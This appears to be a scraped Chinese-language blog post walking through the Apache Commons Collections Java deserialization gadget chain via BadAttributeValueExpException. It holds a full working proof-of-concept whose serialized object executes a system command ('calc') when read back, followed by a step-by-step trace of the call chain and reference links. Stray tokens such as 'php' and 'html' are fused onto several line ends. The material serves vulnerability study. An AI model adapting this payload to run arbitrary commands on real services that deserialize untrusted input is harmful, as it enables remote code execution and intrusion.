BadAttributeValueExceptionphp
package org.lain.poc; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class Poc { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { //传入Runtime类 new ConstantTransformer(Runtime.class), //反射调用getMethod方法,而后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法 new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //反射调用invoke方法,而后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象 new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //反射调用exec方法 new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); //decorate实例化LazyMap类。 // LazyMap類的get方法調用了transform,transform能够通過反射机制执行命令 TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //TiedMapEntry中调用了toString方法->调用了map的get方法 BadAttributeValueExpException poc = new BadAttributeValueExpException(null); //BadAttributeValueExpException的构造方法调用toString方法 // val是私有变量,因此利用下面方法进行赋值,val变量赋值为TiedMapEntry的实例化对象, // 重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类, // 就会调用BadAttributeValueExpException的val = valObj.toString();触发上面的 Field valfield = poc.getClass().getDeclaredField("val"); // System.out.println(valfield); valfield.setAccessible(true); valfield.set(poc, entry); File f = new File("poc.txt"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(poc); out.close(); //从文件中反序列化obj对象 FileInputStream fis = new FileInputStream("poc.txt"); ObjectInputStream ois = new ObjectInputStream(fis); //恢复对象 ois.readObject(); ois.close(); } }
参考连接的第一篇文章主要写的是poc怎么构造的,思路很清晰了,这篇文章从逆向分析,看下怎么反序列的。调用链以下:html
BadAttributeValueException.readObject -> TiedMapEntry.toString -> LazyMap.get -> ChainedTransformer.transformjava
执行BadAttributeValueException.readObject前,把val赋值为TiedMapEntry这个类apache
Field valfield = poc.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(poc, entry);
就会调用TiedMapEntry类的toString方法。
调用getValue又调用get方法
map赋值给lazyMapless
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
这就调用了lazyMap的get方法,factory赋值为transformerChain,这就调用了transformerChain.transform(key); transform方法
参考连接: https://p0sec.net/index.php/archives/121/ https://lightless.me/archives/java-unserialization-apache-commons-collections.htmlurl